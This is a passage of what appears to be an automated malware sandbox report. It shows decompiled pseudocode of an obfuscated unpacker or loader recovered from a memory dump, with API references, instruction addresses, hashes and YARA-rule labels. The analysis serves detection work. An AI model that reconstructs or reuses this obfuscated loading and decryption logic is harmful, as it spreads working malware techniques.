					_t49 = E007D2A69(_t49, _t60, _t68, _t72, _t81, _t89,  *(_t99 - 8));
				}
				_t75 = _t72;
				_t51 = memset(_t81, _t49 ^ _t49, _t68 << 0);
				_t102 = _t101 + 0xc;
				_t82 = _t81 + _t68;
				if( *((intOrPtr*)(_t60 + 0x41c3f9)) != _t60) {
					_push(0);
					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
					_t82 = _t82; // executed
					_t52 = E007D5F16(_t51, _t60, 0, _t75, _t89); // executed
					_push(_t52);
					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
					_t54 = _t52;
					_t51 = E007D8F3B(_t54, _t60, 0, _t75, _t82, _t89);
				}
				 *(_t99 - 4) = _t82;
				 *(_t102 + 0x14) = _t75 & 0x00000000 | _t82 ^  *(_t99 - 4) |  *(_t60 + 0x41d140);
				 *_t41 =  *(_t60 + 0x41d140);
				_t78 =  *(_t99 - 8);
				_push(_t89);
				 *(_t99 + 4) =  *(_t99 + 4) & 0x00000000;
				 *(_t99 + 4) =  *(_t99 + 4) ^ _t89 & 0x00000000 ^ _t78;
				asm("popad");
				return _t51;
			}

0x007d709d
0x007d709d
0x007d709d
0x007d709d
0x007d709e
0x007d70a5
0x007d70ab
0x007d70ae
0x007d70af
0x007d70b2
0x007d70b6
0x007d70ba
0x007d70c1
0x007d70cb
0x007d70d0
0x007d70d0
0x007d70d6
0x007d70dd
0x007d70e0
0x007d70e3
0x007d70e9
0x007d70f5
0x007d70fc
0x007d7102
0x007d710a
0x007d710c
0x007d7112
0x007d7119
0x007d711d
0x007d712b
0x007d712b
0x007d7135
0x007d7138
0x007d7138
0x007d713e
0x007d7146
0x007d714a
0x007d714b
0x007d7153
0x007d7157
0x007d7158
0x007d715d
0x007d7163
0x007d7166
0x007d7169
0x007d716c
0x007d7179
0x007d717d
0x007d717f
0x007d7181
0x007d7182
0x007d7184
0x007d718e
0x007d7191
0x007d7191
0x007d719d
0x007d719e
0x007d719e
0x007d719e
0x007d71a6
0x007d71a8
0x007d71b0
0x007d71b4
0x007d71b5
0x007d71ba
0x007d71c2
0x007d71c6
0x007d71c7
0x007d71c7
0x007d71cc
0x007d71e0
0x007d71ea
0x007d71f0
0x007d71f1
0x007d71f7
0x007d71fb
0x007d71ff
0x007d7201

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 007D70D0
VirtualProtect.KERNELBASE(?,?,?,?,00000000), ref: 007D7138

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
Instruction ID: bb603ab0cbd1d90b449e15b2098b2ddd6e8bcf90804996c94d8e7e0c473c7dac
Opcode Fuzzy Hash: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
Instruction Fuzzy Hash: B9418372908304EFEB049F54CC85BAEBBF5EF88310F05849EEC88AB246D7741951DB69

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 007D1B1E, Relevance: 1.4, Strings: 1, Instructions: 109
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E007D1B1E(void* __eax, void* __ebx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t58;
				signed int _t60;
				void* _t77;
				void* _t89;
				void* _t90;
				signed int _t91;
				void* _t95;
				signed int _t96;
				signed int _t97;
				signed int _t101;
				signed int _t105;
				signed int _t106;

				_t89 = __ebx;
				_t58 = E007D2467(__eax, __ebx,  *((intOrPtr*)(__ebx + 0x41c395)),  *((intOrPtr*)(__ebx + 0x41c290)),  *((intOrPtr*)(__ebx + 0x41c3b1)));
				if(_t58 < 0xda63) {
					_t58 = (_t58 & 0x00000000) - 0xffffffff;
				} else {
					_a8 = _a8 & 0xffffffff;
					_t105 = _t105 ^  *(__ebx + 0x41c8a6);
				}
				_t106 = _t105 | _t101;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) - 1;
				_v12 = _v12 - 1;
				_t60 = _t58 & 0x00000000;
				_t96 = _t95 - _t60;
				if(_a4 < 0x7e4d) {
					_v16 = 0x581;
					 *(_t89 + 0x41c8a6) = 0xffffffff;
					_t97 = 1;
				} else {
					_t97 = _t96 ^ 0x00000034;
					_a4 = _a4 ^ 0xffffffff;
				}
				_t91 = _t90 - 0xffffffff;
				if(_t60 - 1 >= 0x60f9) {
					 *(_t89 + 0x41c8a6) = 1;
					_v16 = _v16 + 0xfffffe47;
				} else {
					_t106 =  *(_t89 + 0x41c8a6);
				}
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + _t101;
				_v8 = _v8 | _t101;
				_v8 = _v8 - 1;
				_v12 = _v12 ^ 0x00000000;
				 *(_t89 + 0x41c8a6) = 0xfffff898;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) - 1;
				_v16 = 1;
				_a4 = (_t106 + 0x00000001 - 0x00000001 & 0x00000000) + 1;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + (_t91 ^ _t97 & 0x00000000) + 1 + _v12;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + 1;
				_v8 = 1;
				_t77 = E007D9159(_v16, _t89, (_t106 + 0x00000001 - 0x00000001 & 0x00000000) + 1);
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + 1;
				_a4 = _a4 + (_t77 + 0x00000001 - 0x00000001 ^ 0x310) + 0xffffffff;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) | 0x00000316;
				return 0xfffffffffffff815;
			}

0x007d1b1e
0x007d1b3b
0x007d1b45
0x007d1b58
0x007d1b47
0x007d1b47
0x007d1b4b
0x007d1b4b
0x007d1b64
0x007d1b66
0x007d1b6c
0x007d1b70
0x007d1b75
0x007d1b7e
0x007d1b89
0x007d1b90
0x007d1b9a
0x007d1b80
0x007d1b80
0x007d1b83
0x007d1b83
0x007d1b9f
0x007d1ba8
0x007d1bb7
0x007d1bc1
0x007d1baa
0x007d1baa
0x007d1bb0
0x007d1be4
0x007d1bfe
0x007d1c01
0x007d1c0c
0x007d1c1c
0x007d1c29
0x007d1c3c
0x007d1c44
0x007d1c47
0x007d1c4d
0x007d1c56
0x007d1c5e
0x007d1c74
0x007d1c91
0x007d1cb3
0x007d1ccd

Strings

M~, xrefs: 007D1B77

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID: M~
API String ID: 0-3014885260
Opcode ID: 12ddc3b1168ff52f07e762c651a63c9af5d943a6ffcb7562eca4daf5dfd61062
Instruction ID: 51e7028ceb7ced21c7e40ea1d1865a0103fb3d77a4c1a6f9b2140488e0969094
Opcode Fuzzy Hash: 12ddc3b1168ff52f07e762c651a63c9af5d943a6ffcb7562eca4daf5dfd61062
Instruction Fuzzy Hash: 04419272810A059FEB10DE7CCDC978A3A71EF80339F188367AC399A1D9D33986558B58

Uniqueness

Uniqueness Score: -1.00%

Function 007D3A14, Relevance: .9, Instructions: 925
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E007D3A14(signed int __ebx, void* __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v48;
				signed int _t498;
				signed int _t503;
				void* _t505;
				void* _t506;
				signed int _t510;
				signed int _t513;
				signed int _t516;
				signed int _t521;
				void* _t523;
				void* _t525;
				intOrPtr _t526;
				void _t529;
				signed int _t533;
				intOrPtr _t539;
				signed int _t544;
				signed int _t546;
				signed int _t551;
				signed int _t554;
				void* _t556;
				signed int _t557;
				void* _t560;
				signed int _t565;
				signed int _t566;
				signed int _t569;
				void* _t573;
				void* _t575;
				signed int _t576;
				signed int _t579;
				intOrPtr _t581;
				signed int _t587;
				signed int _t589;
				void* _t592;
				void* _t594;
				signed int _t595;
				void* _t599;
				void* _t601;
				intOrPtr _t602;
				void* _t605;
				void* _t607;
				void* _t608;
				signed int _t613;
				signed int _t614;
				void* _t616;
				void* _t618;
				signed int _t623;
				void* _t625;
				signed int _t626;
				signed int _t629;
				signed int _t637;
				void* _t639;
				void* _t641;
				void* _t642;
				signed int _t645;
				signed int _t648;
				signed int _t660;
				signed int _t663;
				signed int _t665;
				signed int _t672;
				signed int _t675;
				signed int _t677;
				signed int _t679;
				signed int _t682;
				void* _t685;
				signed int _t692;
				signed int _t693;
				signed int _t702;
				signed int _t704;
				signed int _t706;
				signed int _t708;
				signed int _t712;
				signed int _t714;
				signed int _t717;
				signed int _t720;
				void* _t723;
				signed int _t725;
				signed int _t727;
				signed int _t730;
				signed int _t731;
				signed int _t733;
				signed int _t740;
				signed int _t741;
				signed int _t746;
				signed int _t749;
				signed int _t751;
				signed int _t753;
				signed int _t755;
				signed int _t758;
				signed int _t761;
				signed int _t765;
				signed int _t769;
				signed int _t774;
				signed int _t779;
				signed int _t784;
				signed int _t787;
				signed int _t790;
				signed int _t792;
				signed int _t795;
				signed int _t798;
				void* _t803;
				void* _t810;
				signed int _t812;
				signed int _t815;
				signed int _t820;
				signed int _t823;
				signed int _t825;
				signed int _t828;
				signed int _t834;
				signed int _t839;
				void* _t840;
				signed int _t844;
				signed int _t849;
				void* _t851;
				signed int _t853;
				signed int _t856;
				signed int _t859;
				signed int _t863;
				signed int _t864;
				signed int _t867;
				signed int _t871;
				signed int _t874;
				signed int _t878;
				signed int* _t879;
				signed int* _t880;
				signed int* _t881;
				signed int* _t882;
				signed int* _t883;
				signed int* _t884;
				signed int* _t885;
				signed int* _t889;
				signed int* _t890;
				signed int* _t891;
				signed int* _t892;
				signed int* _t893;
				signed int* _t894;
				signed int* _t895;
				signed int* _t896;
				signed int* _t897;
				signed int* _t898;
				signed int* _t899;
				signed int* _t900;

				_t740 = __edx;
				_t660 = __ebx;
				_push(__edi);
				 *_t878 =  *_t878 ^ __edi;
				 *_t878 =  *_t878 | _t863;
				_t864 = _t878;
				_t879 = _t878 + 0xffffffdc;
				_push(__edi);
				 *_t879 =  *_t879 ^ __edi;
				 *_t879 =  *_t879 | __ebx;
				_push(_a8);
				_pop( *_t2);
				_push(_v40);
				_pop(_t792);
				_t675 = _v48;
				_v48 =  *((intOrPtr*)(_t792 + 0xc));
				_pop( *_t6);
				_v48 =  *((intOrPtr*)(_t792 + 4));
				_pop(_t834);
				 *_t9 = _t864;
				if(_v20 == 1) {
					_v12 = 7;
					_v16 = 1;
					_v28 = 8;
				}
				if(_v20 != 0) {
					if(_v20 != 2) {
						if(_v20 == 4) {
							_t312 = _t660 + 0x41d1be; // 0x41d1be
							_v48 = _t312;
							_t314 = _t660 + 0x41c0a8; // 0x41c0a8
							 *_t879 =  *_t879 & 0x00000000;
							 *_t879 =  *_t879 ^ _t314;
							_push( *((intOrPtr*)(_t660 + 0x41f068))(_t834, _v40));
							_pop( *_t316);
							_push(_v36);
							_pop( *_t318);
							_v12 = 1;
							_t320 = _t660 + 0x41c6f8; // 0x41c6f8
							_v36 = _v36 & 0x00000000;
							 *_t879 =  *_t879 ^ _t320;
							_t544 =  *((intOrPtr*)(_t660 + 0x41f060))(_v36);
							_v36 = _t740;
							 *(_t660 + 0x41c674) =  *(_t660 + 0x41c674) & 0x00000000;
							 *(_t660 + 0x41c674) =  *(_t660 + 0x41c674) | _t740 ^ _v36 | _t544;
							_t769 = _v36;
							_v16 = 0x55;
							_t333 = _t660 + 0x41c356; // 0x41c356
							_v32 = _v32 & 0x00000000;
							 *_t879 =  *_t879 | _t333;
							_t546 =  *((intOrPtr*)(_t660 + 0x41f060))(_v32);
							_v40 = _t792;
							 *(_t660 + 0x41cd7d) =  *(_t660 + 0x41cd7d) & 0x00000000;
							 *(_t660 + 0x41cd7d) =  *(_t660 + 0x41cd7d) | _t792 & 0x00000000 ^ _t546;
							_t792 = _v40;
							_v28 = 2;
							_t345 = _t660 + 0x41cc3e; // 0x41cc3e
							_v40 = _v40 & 0x00000000;
							 *_t879 =  *_t879 ^ _t345;
							_t349 = _t660 + 0x41cf5b; // 0x41cf5b
							 *_t879 =  *_t879 ^ _t834;
							 *_t879 = _t349;
							_t498 =  *((intOrPtr*)(_t660 + 0x41f068))(_t834, _v40);
							_v36 = _t769;
							 *(_t660 + 0x41c1cd) =  *(_t660 + 0x41c1cd) & 0x00000000;
							 *(_t660 + 0x41c1cd) =  *(_t660 + 0x41c1cd) | _t769 & 0x00000000 | _t498;
							_t740 = _v36;
						}
					} else {
						_t221 = _t660 + 0x41cb7a; // 0x41cb7a
						_v32 = 0;
						_v48 = _v48 + _t221;
						_t224 = _t660 + 0x41c8ec; // 0x41c8ec
						_v40 = 0;
						 *_t879 =  *_t879 ^ _t224;
						_t551 =  *((intOrPtr*)(_t660 + 0x41f068))(_v40, _v32);
						 *(_t660 + 0x41c6f4) =  *(_t660 + 0x41c6f4) & 0x00000000;
						 *(_t660 + 0x41c6f4) =  *(_t660 + 0x41c6f4) ^ (_t834 & 0x00000000 | _t551);
						_t844 = _t834;
						_t232 = _t660 + 0x41c379; // 0x41c379
						_v36 = _v36 & 0x00000000;
						 *_t879 =  *_t879 + _t232;
						_t236 = _t660 + 0x41c532; // 0x41c532
						_v36 = _v36 & 0x00000000;
						 *_t879 =  *_t879 | _t236;
						_t554 =  *((intOrPtr*)(_t660 + 0x41f060))(_v36, _v36);
						 *_t879 = _t554;
						_t242 = _t660 + 0x41d201; // 0x41d201
						 *_t879 = _t242;
						_t556 =  *((intOrPtr*)(_t660 + 0x41f060))(_v36, _v40);
						_t702 = _t675 & 0x00000000 |  *_t879;
						_t889 =  &(_t879[1]);
						 *_t889 =  *_t889 + _t792;
						_t810 = _t556;
						_t557 = _t810 + _t702;
						_t812 = 0;
						_t704 = _t702 & 0x00000000 ^ (_t557 ^  *_t889 |  *(_t660 + 0x41cc21));
						_t560 = _t557;
						if(_t704 > _t560) {
							_t246 = _t660 + 0x41c532; // 0x41c532
							 *_t889 =  *_t889 & 0x00000000;
							 *_t889 =  *_t889 | _t246;
							_t247 = _t660 + 0x41d201; // 0x41d201
							_v40 = _v40 & 0x00000000;
							 *_t889 =  *_t889 | _t247;
							_t587 =  *((intOrPtr*)(_t660 + 0x41f064))(_v40, _t740);
							 *(_t660 + 0x41d32e) =  *(_t660 + 0x41d32e) & 0x00000000;
							 *(_t660 + 0x41d32e) =  *(_t660 + 0x41d32e) | _t864 -  *_t889 ^ _t587;
							_t864 = _t864;
						}
						_t890 = _t889 - 0xfffffffc;
						 *_t890 =  *_t890 & 0x00000000;
						 *_t890 =  *_t890 |  *_t889;
						_t256 = _t660 + 0x41d01d; // 0x41d01d
						 *_t890 =  *_t890 ^ _t812;
						 *_t890 =  *_t890 | _t256;
						_t257 = _t660 + 0x41c37d; // 0x41c37d
						 *_t890 = _t257;
						_t565 =  *((intOrPtr*)(_t660 + 0x41f068))(_v32, _t812, _t740);
						_v36 = _t812;
						 *(_t660 + 0x41c9dc) =  *(_t660 + 0x41c9dc) & 0x00000000;
						 *(_t660 + 0x41c9dc) =  *(_t660 + 0x41c9dc) | _t812 & 0x00000000 | _t565;
						_t815 = _v36;
						_t566 =  *((intOrPtr*)(_t660 + 0x41f060))();
						 *_t890 =  *_t890 ^ _t844;
						 *_t890 =  *_t890 | _t566;
						_t267 = _t660 + 0x41c8c2; // 0x41c8c2
						 *_t890 =  *_t890 - _t660;
						 *_t890 =  *_t890 + _t267;
						_t268 = _t660 + 0x41c737; // 0x41c737
						 *_t890 =  *_t890 & 0x00000000;
						 *_t890 =  *_t890 ^ _t268;
						_t569 =  *((intOrPtr*)(_t660 + 0x41f068))(_t815, _t660, _t844);
						 *_t270 = _t569;
						_push(_v36);
						_pop( *_t272);
						_t891 = _t890 - 0xfffffffc;
						_v36 = _t815;
						 *(_t660 + 0x41c606) = _t569 & 0x00000000 |  *_t890;
						_t792 = _v36;
						_v12 = 3;
						_t277 = _t660 + 0x41d2fe; // 0x41d2fe
						_v32 = 0;
						 *_t891 =  *_t891 | _t277;
						_t573 =  *((intOrPtr*)(_t660 + 0x41f060))(_v32);
						 *_t891 =  *_t891 ^ _t792;
						 *_t891 =  *_t891 + _t573;
						_t281 = _t660 + 0x41d22a; // 0x41d22a
						_v40 = _v40 & 0x00000000;
						 *_t891 =  *_t891 | _t281;
						_t575 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40, _t792);
						_t706 = _t704 & 0x00000000 |  *_t891;
						_t879 =  &(_t891[1]);
						_v40 = _t740;
						_push(_t706 + _t575);
						_t774 = _v40;
						_pop(_t576);
						_v36 = _t576;
						_t708 = _t706 & 0x00000000 ^ (_t576 ^ _v36 |  *(_t660 + 0x41c48f));
						_t579 = _v36;
						if(_t708 > _t579) {
							_t292 = _t660 + 0x41d2fe; // 0x41d2fe
							_v40 = _v40 & 0x00000000;
							 *_t879 =  *_t879 + _t292;
							_t296 = _t660 + 0x41d22a; // 0x41d22a
							_v36 = 0;
							 *_t879 =  *_t879 ^ _t296;
							_t579 =  *((intOrPtr*)(_t660 + 0x41f064))(_v36, _v40);
						}
						 *_t879 = _t844;
						 *(_t660 + 0x41c2cf) = 0 ^ _t579;
						_t834 = 0;
						_v16 = 0x11;
						_t302 = _t660 + 0x41d09f; // 0x41d09f
						 *_t879 =  *_t879 - _t792;
						 *_t879 =  *_t879 + _t302;
						_t581 =  *((intOrPtr*)(_t660 + 0x41f060))(_t792);
						_v40 = _t708;
						 *((intOrPtr*)(_t660 + 0x41ce4e)) = _t581;
						_t675 = _v40;
						_v28 = 4;
						_t308 = _t660 + 0x41c4f7; // 0x41c4f7
						 *_t879 =  *_t879 ^ _t675;
						 *_t879 =  *_t879 + _t308;
						_t498 =  *((intOrPtr*)(_t660 + 0x41f060))(_t675);
						 *_t879 = _t774;
						 *(_t660 + 0x41c895) = 0 ^ _t498;
						_t740 = 0;
					}
					_t741 = _t740 ^ _t740;
					_v48 = _v48 - _t792;
					_v48 = _t741;
					_t357 = _t660 + 0x41c61d; // 0x41c61d
					 *_t879 =  *_t879 ^ _t834;
					 *_t879 = _t357;
					_t503 =  *((intOrPtr*)(_t660 + 0x41f060))(_t834, _t792, _t498);
					 *_t879 = _t503;
					_t360 = _t660 + 0x41cf67; // 0x41cf67
					_v40 = 0;
					 *_t879 =  *_t879 ^ _t360;
					_t505 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40, _v32);
					_pop( *_t364);
					_t677 = _t675 & 0x00000000 ^ _v40;
					_v40 = _t792;
					_push(_t677 + _t505);
					_t795 = _v40;
					_pop(_t506);
					_t679 = _t677 & 0x00000000 | _t864 & 0x00000000 ^  *(_t660 + 0x41c5dc);
					_t867 = _t864;
					if(_t679 > _t506) {
						_t369 = _t660 + 0x41c61d; // 0x41c61d
						_v32 = 0;
						 *_t879 =  *_t879 ^ _t369;
						_t372 = _t660 + 0x41cf67; // 0x41cf67
						_v36 = 0;
						 *_t879 =  *_t879 | _t372;
						_t539 =  *((intOrPtr*)(_t660 + 0x41f064))(_v36, _v32);
						_v32 = _t679;
						 *((intOrPtr*)(_t660 + 0x41cf4f)) = _t539;
						_t679 = _v32;
					}
					_t880 =  &(_t879[1]);
					 *_t880 = _t679;
					_t682 = 0;
					 *_t880 = _t741 & 0x00000000 |  *_t879;
					_t381 = _t660 + 0x41cef6; // 0x41cef6
					_v32 = _v32 & 0x00000000;
					 *_t880 =  *_t880 | _t381;
					_t385 = _t660 + 0x41ceb9; // 0x41ceb9
					 *_t880 =  *_t880 ^ _t867;
					 *_t880 =  *_t880 ^ _t385;
					_t510 =  *((intOrPtr*)(_t660 + 0x41f068))(_t867, _v32, _v40);
					 *(_t660 + 0x41caf5) =  *(_t660 + 0x41caf5) & 0x00000000;
					 *(_t660 + 0x41caf5) =  *(_t660 + 0x41caf5) | _t682 ^  *_t880 | _t510;
					_t685 = _t682;
					_t881 = _t880 - 0xfffffffc;
					_t746 = _t510 % _v28;
					 *_t881 =  *_t881 & 0x00000000;
					 *_t881 =  *_t881 | _t746;
					_t397 = _t660 + 0x41c52d; // 0x41c52d
					_v40 = 0;
					 *_t881 =  *_t881 ^ _t397;
					_t513 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40, _t685);
					 *(_t660 + 0x41d106) =  *(_t660 + 0x41d106) & 0x00000000;
					 *(_t660 + 0x41d106) =  *(_t660 + 0x41d106) | _t746 & 0x00000000 | _t513;
					_t749 = _t746;
					_t751 = _t749 & 0x00000000 ^  *_t881;
					_t882 = _t881 - 0xfffffffc;
					_v8 = _v8 - _t751;
					_v40 = 0;
					 *_t882 =  *_t882 | _t751;
					_t409 = _t660 + 0x41c7ee; // 0x41c7ee
					 *_t882 =  *_t882 ^ _t795;
					 *_t882 =  *_t882 ^ _t409;
					_t410 = _t660 + 0x41c513; // 0x41c513
					_v36 = 0;
					 *_t882 =  *_t882 | _t410;
					_t516 =  *((intOrPtr*)(_t660 + 0x41f068))(_v36, _t795, _v40, _t685);
					_v36 = _t834;
					 *(_t660 + 0x41c2a8) =  *(_t660 + 0x41c2a8) & 0x00000000;
					 *(_t660 + 0x41c2a8) =  *(_t660 + 0x41c2a8) ^ _t834 & 0x00000000 ^ _t516;
					_t753 =  *_t882;
					_t883 =  &(_t882[1]);
					_v32 = _t516;
					_v24 = _v24 & 0x00000000;
					_v24 = _v24 | _t516 ^ _v32 ^ _t753;
					_t427 = _t660 + 0x41ccc7; // 0x41ccc7
					_v40 = 0;
					 *_t883 =  *_t883 | _t427;
					_t521 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40);
					 *(_t660 + 0x41cca4) =  *(_t660 + 0x41cca4) & 0x00000000;
					 *(_t660 + 0x41cca4) =  *(_t660 + 0x41cca4) | _t795 -  *_t883 | _t521;
					_t798 = _t795;
					_t839 = _v36 & 0x00000000 ^ _t660 & 0x00000000 ^ _a4;
					_t663 = _t660;
					_t436 = _t663 + 0x41c550; // 0x41c550
					_v36 = 0;
					 *_t883 =  *_t883 + _t436;
					_t523 =  *((intOrPtr*)(_t663 + 0x41f060))(_v36);
					_v36 = 0;
					 *_t883 =  *_t883 + _t523;
					_t442 = _t663 + 0x41d34c; // 0x41d34c
					 *_t883 = _t442;
					_t525 =  *((intOrPtr*)(_t663 + 0x41f060))(_v36, _v36);
					_t884 = _t883 - 0xfffffffc;
					 *_t445 = _t525;
					_v40 = _v40 + (0 ^  *_t883);
					_push(_v40);
					_pop(_t526);
					_t755 = _t753;
					_v32 = _t755;
					_t758 = _v32;
					if( *((intOrPtr*)(_t663 + 0x41ccf8)) > _t526) {
						_t452 = _t663 + 0x41c550; // 0x41c550
						_v32 = _v32 & 0x00000000;
						 *_t884 =  *_t884 + _t452;
						_t456 = _t663 + 0x41d34c; // 0x41d34c
						_v32 = _v32 & 0x00000000;
						 *_t884 =  *_t884 + _t456;
						_t526 =  *((intOrPtr*)(_t663 + 0x41f064))(_v32, _v32);
					}
					_v40 = _t758;
					 *((intOrPtr*)(_t663 + 0x41ce46)) = _t526;
					_t761 = _v40;
					_v32 = _t761;
					_t466 = _t663 + 0x41cb9d; // 0x41cb9d
					 *_t884 =  *_t884 - _t839;
					 *_t884 =  *_t884 | _t466;
					_t467 = _t663 + 0x41cd17; // 0x41cd17
					_v36 = _v36 & 0x00000000;
					 *_t884 =  *_t884 | _t467;
					_t529 =  *((intOrPtr*)(_t663 + 0x41f068))(_v36, _t839);
					 *_t884 = _t798 & 0x00000000 | _t761 & 0x00000000 ^ _t839;
					 *(_t663 + 0x41d015) = 0 ^ _t529;
					_t803 = 0;
					_t840 = _t839 - 1;
					_v32 = 0;
					_push(_v32);
					 *_t884 =  *_t884 | _t663;
					do {
						 *_t475 = _t803;
						_push(_v36);
						_pop(_t692);
						_t693 = _t692 & _v12;
						if(_t693 == 0) {
							_t840 = _t840 + 1;
							_t529 = _t529 & 0x00000000 ^ (_t803 -  *_t884 | _v28);
							_t803 = _t803;
							_t663 =  *(_t529 + _t840) & 0x000000ff;
						}
						_push(_v16);
						_pop( *_t481);
						_push(_v36);
						_pop(_t765);
						asm("rol edx, cl");
						asm("lodsb");
						_t529 = _t529 | _t765 & _t663;
						 *_t803 = _t529;
						_t803 = _t803 + 1;
						_t483 =  &_v8;
						 *_t483 = _v8 - 1;
					} while ( *_t483 != 0);
					_t665 =  *_t884;
					_t885 =  &(_t884[1]);
					_t485 = _t665 + 0x41cc0b; // 0x41cc0b
					 *_t885 =  *_t885 & 0x00000000;
					 *_t885 =  *_t885 ^ _t485;
					_t486 = _t665 + 0x41cbd0; // 0x41cbd0
					 *_t885 =  *_t885 & 0x00000000;
					 *_t885 =  *_t885 | _t486;
					_t533 =  *((intOrPtr*)(_t665 + 0x41f068))(_t867, _t693);
					_v36 = _t693;
					 *(_t665 + 0x41d326) =  *(_t665 + 0x41d326) & 0x00000000;
					 *(_t665 + 0x41d326) =  *(_t665 + 0x41d326) ^ (_t693 ^ _v36 | _t533);
					_v32 = _t665;
					return memcpy(_t803, _t840 + 1, _v24);
				} else {
					_pop( *_t15);
					_t672 = _t660 & 0x00000000 ^ _v32;
					_t17 = _t672 + 0x41cb24; // 0x41cb24
					_v32 = 0;
					 *_t879 =  *_t879 | _t17;
					_t589 =  *((intOrPtr*)(_t672 + 0x41f060))(_v32);
					 *(_t672 + 0x41c76e) =  *(_t672 + 0x41c76e) & 0x00000000;
					 *(_t672 + 0x41c76e) =  *(_t672 + 0x41c76e) ^ _t792 ^ _v48 ^ _t589;
					_t820 = _t792;
					_t25 = _t672 + 0x41c2ba; // 0x41c2ba
					_v48 = _v48 ^ _t820;
					_v48 = _t25;
					_t26 = _t672 + 0x41d1a6; // 0x41d1a6
					 *_t879 =  *_t879 ^ _t820;
					 *_t879 =  *_t879 + _t26;
					_t592 =  *((intOrPtr*)(_t672 + 0x41f060))(_t820, _t820);
					 *_t879 =  *_t879 - _t864;
					 *_t879 =  *_t879 + _t592;
					_t28 = _t672 + 0x41c035; // 0x41c035
					 *_t879 =  *_t879 & 0x00000000;
					 *_t879 =  *_t879 | _t28;
					_t594 =  *((intOrPtr*)(_t672 + 0x41f060))(_t740, _t864);
					_t712 =  *_t879;
					_t892 =  &(_t879[1]);
					_v40 = _t820;
					_push(_t712 + _t594);
					_t823 = _v40;
					_pop(_t595);
					_v40 = _t834;
					_t714 = _t712 & 0x00000000 ^ _t834 & 0x00000000 ^  *(_t672 + 0x41c8ae);
					_t849 = _v40;
					if(_t714 > _t595) {
						_t35 = _t672 + 0x41d1a6; // 0x41d1a6
						 *_t892 =  *_t892 & 0x00000000;
						 *_t892 =  *_t892 ^ _t35;
						_t36 = _t672 + 0x41c035; // 0x41c035
						 *_t892 = _t36;
						_t595 =  *((intOrPtr*)(_t672 + 0x41f064))(_v40, _t672);
						_push(0);
						 *_t892 = _t714;
						 *(_t672 + 0x41d244) = 0 ^ _t595;
					}
					_t893 = _t892 - 0xfffffffc;
					 *_t893 =  *_t893 - _t849;
					 *_t893 =  *_t893 ^ (_t595 & 0x00000000 |  *_t892);
					_t40 = _t672 + 0x41cd30; // 0x41cd30
					 *_t893 =  *_t893 ^ _t849;
					 *_t893 =  *_t893 + _t40;
					_t599 =  *((intOrPtr*)(_t672 + 0x41f060))(_t849, _t849);
					_v36 = 0;
					 *_t893 =  *_t893 + _t599;
					_t44 = _t672 + 0x41c116; // 0x41c116
					 *_t893 = _t44;
					_t601 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _v36);
					_t894 =  &(_t893[1]);
					 *_t47 = _t601;
					_v40 = _v40 + (0 ^  *_t893);
					_push(_v40);
					_pop(_t602);
					_t851 = _t849;
					_v40 = _t740;
					_t717 = 0 ^  *(_t672 + 0x41d282);
					_t779 = _v40;
					if(_t717 > _t602) {
						_t54 = _t672 + 0x41cd30; // 0x41cd30
						_v36 = _v36 & 0x00000000;
						 *_t894 =  *_t894 + _t54;
						_t58 = _t672 + 0x41c116; // 0x41c116
						 *_t894 = _t58;
						_t602 =  *((intOrPtr*)(_t672 + 0x41f064))(_v36, _v36);
					}
					_v32 = _t779;
					 *((intOrPtr*)(_t672 + 0x41d2af)) = _t602;
					_t64 = _t672 + 0x41c00f; // 0x41c00f
					_v36 = 0;
					 *_t894 =  *_t894 | _t64;
					_t67 = _t672 + 0x41c17e; // 0x41c17e
					_v40 = _v40 & 0x00000000;
					 *_t894 =  *_t894 | _t67;
					_t605 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _v36);
					_v40 = 0;
					 *_t894 =  *_t894 + _t605;
					_t74 = _t672 + 0x41cf79; // 0x41cf79
					 *_t894 =  *_t894 & 0x00000000;
					 *_t894 =  *_t894 | _t74;
					_t607 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40);
					 *_t76 = _t717;
					_push(_v32);
					 *_t78 = _t607;
					_v32 = _v32 + (_t717 & 0x00000000) + _v40;
					_push(_v32);
					_pop(_t608);
					_pop(_t784);
					_push( *((intOrPtr*)(_t672 + 0x41cc9b)));
					_pop( *_t83);
					_push(_v40);
					_pop(_t720);
					if(_t720 > _t608) {
						_t85 = _t672 + 0x41c17e; // 0x41c17e
						 *_t894 =  *_t894 & 0x00000000;
						 *_t894 =  *_t894 + _t85;
						_t86 = _t672 + 0x41cf79; // 0x41cf79
						_v32 = _v32 & 0x00000000;
						 *_t894 =  *_t894 ^ _t86;
